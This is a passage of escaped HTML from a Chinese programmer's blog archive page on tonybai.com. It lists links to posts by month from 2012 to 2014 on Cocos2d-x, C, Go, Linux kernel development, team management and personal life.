SDK\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201404\"\u003e2014.04\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/04/28/multithreaded-resource-loading-in-cocos2dx-3/\"\u003eCocos2d-x 3.0多线程异步资源加载\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/04/25/integrate-cocos2dx3rc2-with-sharesdk/\"\u003eCocos2d-x 3.0rc2集成ShareSDK\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/04/23/changes-in-cocos2dx-3-rc2-for-android/\"\u003eCocos2d-x 3.0rc2针对Android平台的变动\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/04/22/hello-cocos2dx-3-rc0/\"\u003eHello, Cocos2d-x 3.0rc0\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/04/17/a-bug-from-sharesdk-componet-for-cocos2dx/\"\u003eShareSDK Cocos2d-x专用组件的一个Bug\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201403\"\u003e2014.03\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/03/18/cocos2dx-memory-management/\"\u003eCocos2d-x内存管理-绕不过去的坎\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/03/11/hello-cocos2dx/\"\u003eHello, Cocos2d-x\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/03/05/thought-on-executive-power/\"\u003e说说执行力\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/03/03/considerations-on-team-improved-in-2014/\"\u003e关于2014团队改善的考量\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201402\"\u003e2014.02\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/02/18/mentoring-in-the-kitchen/\"\u003e厨房里的领导课\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201401\"\u003e2014.01\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/01/04/my-summary-of-2013/\"\u003e2013小结\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"二零一三\"\u003e二零一三\u003c/h3\u003e\n\u003ch4 id=\"201312\"\u003e2013.12\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/12/27/learn-how-to-command-from-ender/\"\u003e向安德学指挥\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/12/26/just-for-being-relieved/\"\u003e只为那一抹释然\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/12/21/the-balance-between-team-and-creativity/\"\u003e团队与创造的平衡\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201311\"\u003e2013.11\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/11/26/the-full-text-of-recommended-c-style-and-coding-standards/\"\u003eRecommended C Style and Coding Standards中文版全文\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/11/22/those-chinese-style-naming-in-code-again/\"\u003e再谈那些代码中的“中国式”命名\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/11/12/how-code-corrupt/\"\u003e代码是怎么腐化的\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/11/06/those-chinese-style-naming-in-code/\"\u003e那些代码中的“中国式”命名\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/11/01/a-case-of-applying-memcached-cas/\"\u003eMemcached CAS应用一例\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201310\"\u003e2013.10\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/10/27/some-experience-about-ideation-of-programmer/\"\u003e关于程序员的构思能力的一些体会\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/10/25/add-timeout-to-blocking-function-call/\"\u003e为阻塞型函数调用添加超时机制\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/10/22/some-experience-about-learning-programming-language/\"\u003e关于编程语言学习的一些体会\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/10/14/when-bug-a-encounter-bug-b/\"\u003e当Bug A遇到Bug B\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/10/09/love-running/\"\u003e爱上跑步\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/10/08/program-the-avatar-of-programmers/\"\u003e程序 – 程序员的avatar\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201309\"\u003e2013.09\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/09/24/stand-on-a-higher-platform/\"\u003e站在更高的平台上\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/09/09/fifth-wedding-anniversary/\"\u003e结婚五周年纪念\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/09/04/putting-absolutely-everything-in-version-control/\"\u003e把所有东西都放入版本控制系统\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/09/03/my-personal-work-principles-2/\"\u003e我的工作原则2\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201308\"\u003e2013.08\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/08/28/implement-config-sync-for-distributed-system-with-zookeeper-services/\"\u003e利用ZooKeeper服务实现分布式系统的配置数据同步\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/08/23/leader-election-using-zookeeper/\"\u003e利用ZooKeeper服务实现分布式系统的Leader选举\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/08/19/my-personal-work-principles/\"\u003e我的工作原则\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/08/07/ubuntu-12-04-repairing-notes/\"\u003eUbuntu 12.04修复记\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/08/04/more-thoughts-on-improving-efficiency/\"\u003e再谈组织工作效率提升\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201307\"\u003e2013.07\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/07/30/recall-my-college-classmates-after-graduating-9-years/\"\u003e毕业九年 – 忆我的大学同学\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/07/24/thoughts-about-lines-of-code-statistics/\"\u003e也谈代码行统计\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/07/18/advice-to-a-new-programmer/\"\u003e给新手程序员的建议\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/07/15/buildc-0-3-1-release/\"\u003ebuildc 0.3.1版本发布\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/07/09/an-implementation-of-python-commandline-variables/\"\u003ePython脚本命令行变量的实现\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/07/08/code-review-from-rule-of-man-to-rule-of-law/\"\u003e代码评审，由人治过渡到“法治”\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201306\"\u003e2013.06\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/06/18/walk-through-the-last-mile-of-bugfix/\"\u003e跨过BUG查找的”最后一公里”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/06/18/a-hongkong-macau-trip/\"\u003e港澳行记\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201305\"\u003e2013.05\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/05/28/understanding-and-using-c-pointers-keypoint-preview/\"\u003e《Understanding and Using C Pointers》要点先睹为快\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/05/21/talk-about-bitfield-in-c-again/\"\u003e再谈C语言位域\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/05/18/daughter-is-3-years-old/\"\u003e果果3周岁了\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/05/11/buildc-0-3-0-release/\"\u003ebuildc 0.3.0版本发布\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/05/09/also-talk-about-commit-log/\"\u003e也谈Commit log\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/05/03/the-past-two-years-to-promote-the-knowledge-management/\"\u003e推动知识管理的这两年\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201304\"\u003e2013.04\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/04/25/a-libiconv-linkage-problem/\"\u003elibiconv库链接问题一则\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/04/10/100-bugs-in-c-cpp-opensource-projects/\"\u003eC,C++开源项目中的100个Bugs\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/04/01/hello-sublime-text-2/\"\u003eHello，Sublime Text 2\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201303\"\u003e2013.03\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/03/28/pointer-and-multi-dimension-array-in-c/\"\u003e简析指针与多维数组\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/03/23/multi-dimension-pointer-in-c/\"\u003e简析多级指针解引用\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/03/18/sys-running-data-extraction-method-using-mmap/\"\u003e一种基于内存映射文件的系统运行数据提取方法\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/03/15/choose-lang-for-svn-cmd-output/\"\u003eSVN命令输出结果的语言选择\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/03/11/2013-plan/\"\u003e谋划2013\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/03/07/struct-hack-in-c/\"\u003e也谈C语言的Struct Hack\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/03/02/deep-into-top/\"\u003e玩转top\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201302\"\u003e2013.02\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/02/27/why-code-in-c-anymore/\"\u003e为什么还用C编程？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/02/18/my-daughter-monologue-about-2013-spring-festival/\"\u003e果果的蛇年春节独白\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/02/06/look-forward-to-spring-festival/\"\u003e期待过年\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/02/03/implement-go-defer-in-c/\"\u003eGo defer的C实现\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201301\"\u003e2013.01\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/01/24/the-module-import-way-under-python-package/\"\u003e关于Python Package下的Module import方式\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/01/17/leomessi-with-four-ballon-dor/\"\u003e梅西与四座金球\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/01/15/buildc-0-2-2-release/\"\u003ebuildc 0.2.2版本发布\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/01/08/leomessi-the-king-of-ballon-dor/\"\u003e梅西，金球之王\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/01/04/my-opinion-on-improving-work-happiness/\"\u003e说说工作幸福感\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2013/01/01/2013-happy-new-year/\"\u003e2013新年快乐\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"二零一二\"\u003e二零一二\u003c/h3\u003e\n\u003ch4 id=\"201212\"\u003e2012.12\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/12/19/my-blog-outlook/\"\u003e我的博客观\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/12/18/my-summary-of-2012/\"\u003e2012小结\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/12/13/some-opinions-about-performance-interview/\"\u003e关于绩效面谈的一些拙见\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/12/10/leomessi-the-new-king-of-soccer/\"\u003e梅西，足球新王\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/12/06/buildc-0-2-1-release/\"\u003ebuildc 0.2.1版本发布\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/12/06/replace-unity-with-gnome3/\"\u003e将Unity换成Gnome3\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/12/04/upgrade-ubuntu-to-1204-lts/\"\u003e升级到Ubuntu 12.04LTS\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/12/03/how-to-organize-and-hold-meetings-efficiently/\"\u003e谈谈如何高效地组织和实施内部会议\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201211\"\u003e2012.11\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/11/28/how-to-write-a-good-email/\"\u003e谈谈如何写好Mail\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/11/27/some-growing-up-details-of-my-two-years-old-daughter/\"\u003e果果2岁以来的成长记录\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/11/23/some-experience-on-personal-time-management/\"\u003e个人时间管理的一些实践体会\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/11/21/setup-http-proxy-with-squid/\"\u003e使用squid搭建http代理\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/11/18/note-for-my-2012-sagitar-first-maintenance/\"\u003e新速腾首保小记\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/11/17/several-important-factors-in-making-performance-goals/\"\u003e制定绩效目标的几个重要因素\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/11/06/buildc-0-2-0-release/\"\u003ebuildc 0.2.0版本发布\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/11/04/the-amateur-way-of-knowledge-management/\"\u003e知识管理的几点野路子经营策略\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/11/02/treat-reinventing-the-wheel-dialectically/\"\u003e辩证地看待“重新发明轮子”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/11/01/some-experience-on-team-management/\"\u003e关于团队经营的若干体会\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201210\"\u003e2012.10\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/10/26/some-practice-on-improving-tech-preach/\"\u003e改善技术布道效果的几个实践\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/10/25/go-package-distributing/\"\u003e也谈Go语言代码包分发\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/10/22/thoughts-on-software-inventory/\"\u003e由一个软件库存问题想到的\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/10/11/understanding-go-declaration-syntax/\"\u003e也谈Go语言声明语法\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/10/08/the-new-age-of-programming-language/\"\u003e编程语言进入“拼爹”时代\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201209\"\u003e2012.09\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/09/26/interoperability-between-go-and-c/\"\u003eGo与C语言的互操作\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/09/21/signal-handling-in-go/\"\u003eGo中的系统Signal处理\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/09/08/a-brief-tour-of-go-standard-library/\"\u003eGo语言标准库概览\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201208\"\u003e2012.08\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/08/28/the-go-programming-language-tutorial-part3/\"\u003eGo程序设计语言(三)\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/08/27/the-go-programming-language-tutorial-part2/\"\u003eGo程序设计语言(二)\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/08/23/the-go-programming-language-tutorial-part1/\"\u003eGo程序设计语言(一)\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/08/17/hello-go/\"\u003e也谈Go语言编程 – Hello，Go!\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/08/15/bouncing-check-and-organization-gene/\"\u003e项目跳票成常态，组织基因难逃干系\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/08/14/getting-going-with-go/\"\u003e开始学Go\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/08/08/why-not-go/\"\u003e为什么不用用Go？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/08/07/errata-of-some-practice-to-improve-tech-sermon/\"\u003e《改善技术布道效果的几个实践》勘误\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/08/06/reasons-for-promote-km-difficult/\"\u003e知识管理推广难的几点原因\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/08/02/do-right-things-early/\"\u003e做正确的事要趁早\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201207\"\u003e2012.07\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/07/30/a-trip-to-suizhong-beach/\"\u003e绥中电厂海滩之旅\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/07/19/buildc-0-1-9-release/\"\u003ebuildc 0.1.9版本发布\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/07/10/read-how-google-tests-software/\"\u003e读《How Google Tests Software》\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/07/02/buildc-0-1-8-release/\"\u003ebuildc 0.1.8版本发布\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201206\"\u003e2012.06\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/06/21/some-feeling-after-driving-for-1000km/\"\u003e1000公里驾车感受\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/06/04/drive-in-rainstorm/\"\u003e暴雨·冰雹·涉水·夜路·堵车·行车记\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201205\"\u003e2012.05\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/05/25/new-sagitar-and-my-first-driving-experience/\"\u003e新速腾提车与第一次上路\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/05/21/to-face-it/\"\u003e勇于面对\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/05/09/ssh-access-bitbucket-via-http-proxy/\"\u003e使用ssh通过http代理访问bitbucket\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/05/08/translate-seven-languages-in-seven-weeks/\"\u003e翻译《七周七语言》的那些事儿\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201204\"\u003e2012.04\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/04/24/influencing-factors-and-effective-practice-about-driving-technical-changes/\"\u003e也谈技术布道 – 影响因素及有效实践\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/04/19/buildc-0-1-7-release/\"\u003ebuildc 0.1.7版本发布\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/04/17/a-discussion-about-when-to-release/\"\u003e一场关于“何时发布版本”的论战\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/04/13/buildc-0-1-5-release/\"\u003ebuildc 0.1.5版本发布\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/04/12/buildc-0-1-4-release/\"\u003ebuildc 0.1.4版本发布\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/04/11/multiple-definitions-of-the-compiling-phase/\"\u003e关于编译阶段符号多重定义的问题\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/04/10/lcut-0-3-0-release/\"\u003elcut 0.3.0版本发布\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/04/09/how-to-participate-linux-community-section-7/\"\u003e如何加入Linux内核开发社区(7)\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/04/05/how-to-participate-linux-community-section-6/\"\u003e如何加入Linux内核开发社区(6)\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/04/05/how-to-participate-linux-community-section-5/\"\u003e如何加入Linux内核开发社区(5)\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201203\"\u003e2012.03\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/03/31/how-to-participate-linux-community-section-4/\"\u003e如何加入Linux内核开发社区(4)\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/03/29/how-to-participate-linux-community-section-3/\"\u003e如何加入Linux内核开发社区(3)\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/03/28/how-to-participate-linux-community-section-2/\"\u003e如何加入Linux内核开发社区(2)\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/03/27/how-to-participate-linux-community-section-1/\"\u003e如何加入Linux内核开发社区(1)\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/03/18/linux-kernel-hacking-series-kconfig-and-kbuild/\"\u003e也谈Linux Kernel Hacking – Kconfig与Kbuild\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/03/15/linux-kernel-hacking-series-kernel-config-compile-and-install/\"\u003e也谈Linux Kernel Hacking – 内核配置、编译与安装\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/03/07/the-chinese-translation-of-recommended-c-style-and-coding-standards/\"\u003eC语言编码风格和标准\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/03/05/implement-adapter-pattern-in-c/\"\u003eAdapter模式的C实现\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201202\"\u003e2012.02\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/02/29/a-new-departure-of-my-blog-move-from-blogbus-to-wordpress/\"\u003eBlog新起点 – 从BlogBus搬家到WordPress\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/02/15/intergating-on-multiple-platforms-simultaneously-using-jenkins/\"\u003e使用Jenkins实现多平台并行集成\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/02/14/install-and-configure-jenkins/\"\u003e折腾Jenkins\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/02/10/add-packing-feature-to-buildc/\"\u003e为buildc添加安装包制作相关功能\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/02/07/add-setup-script-for-buildc/\"\u003e为buildc添加setup脚本\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/02/01/also-talk-about-c-app-install-package-making-and-deploying/\"\u003e也谈C应用安装包制作与部署\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201201\"\u003e2012.01\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/01/29/plan-and-design-2012/\"\u003e谋划2012\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/01/23/happy-spring-festival-from-my-daughter-2012/\"\u003e2012·果果给您拜年了\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/01/17/also-talk-about-building-c-app/\"\u003e也谈C语言应用构建\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/01/12/my-grow-up-in-2011/\"\u003e2011·工作中的成长\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2012/01/08/thoughts-from-persuading-somebody-to-quit/\"\u003e由劝退一名员工所想到的\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca 